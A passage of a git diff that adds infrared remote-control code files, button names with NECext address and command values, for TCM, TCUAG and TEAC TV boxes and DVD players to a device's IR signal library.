+address: 05 00 00 00 +command: 28 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2D 00 00 00 +# +name: txt-hold +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: clr +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2F 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir b/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir new file mode 100644 index 000000000..7d173df9d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: AV +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 12 00 00 00 +# +name: WHITE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 14 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 15 00 00 00 +# +name: PURPLE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 16 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 18 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 19 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1A 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1D 00 00 00 +# +name: TEXT2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1D 00 00 00 +# +name: TEXT4 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1D 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1F 00 00 00 +# +name: TEXT1 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1F 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 24 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2B 00 00 00 +# +name: TEXT3 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7D 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir b/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir new file mode 100644 index 000000000..3dccb9058 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 03 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 04 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 05 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 08 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 0D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 17 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 17 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 20 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 25 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 27 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 46 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 47 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 48 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 49 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 4A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 4B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 89 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 8B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 8C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: C6 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: F1 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir b/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir new file mode 100644 index 000000000..7e730c99e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 15 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 17 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 17 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 18 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 18 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 19 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 19 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 1A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 1A 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 1B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 1C 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 1D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir new file mode 100644 index 000000000..738f003b3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: VTSIZE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: VTHALF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: AB +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: VTON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: VTOFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir b/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir new file mode 100644 index 000000000..e1c42f347 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 00 00 00 00 +# +name: Frwd +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 04 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 05 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 06 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 19 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 33 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 3D 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 48 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 80 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 82 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 83 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 85 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 90 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 91 00 00 00 +# +name: Pink +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 94 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir new file mode 100644 index 000000000..0a3583f6c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: Mute +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 00 00 00 00 +# +name: StdBy +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 01 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 02 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 03 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 04 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 05 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 06 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 07 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 08 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 09 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0A 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0B 00 00 00 +# +name: No +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0C 00 00 00 +# +name: Up +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0D 00 00 00 +# +name: Yes +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0E 00 00 00 +# +name: Left +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0F 00 00 00 +# +name: Menu +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 10 00 00 00 +# +name: Right +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 11 00 00 00 +# +name: Down +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 12 00 00 00 +# +name: Red +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 13 00 00 00 +# +name: Yellow +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 14 00 00 00 +# +name: Blue +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 15 00 00 00 +# +name: Rewind +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 16 00 00 00 +# +name: Start +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 17 00 00 00 +# +name: Forward +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 18 00 00 00 +# +name: Record +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 19 00 00 00 +# +name: Stop +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1A 00 00 00 +# +name: F1 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1B 00 00 00 +# +name: F2 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1C 00 00 00 +# +name: F3 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1E 00 00 00 +# +name: Quit +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1F 00 00 00 +# +name: Wish +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 20 00 00 00 +# +name: Key +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 21 00 00 00 +# +name: VTX +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 22 00 00 00 +# +name: Green +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 23 00 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 34 00 00 00 +# +name: Help +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 35 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 36 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 36 00 00 00 +# +name: PC +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 36 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir b/assets/resources/infrared/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir new file mode 100644 index 000000000..33e60bf93 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 98 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: STEP_< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: STEP_> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9A 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9B 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9C 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir b/assets/resources/infrared/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir new file mode 100644 index 000000000..33013a7e9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 63 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 64 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BE 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 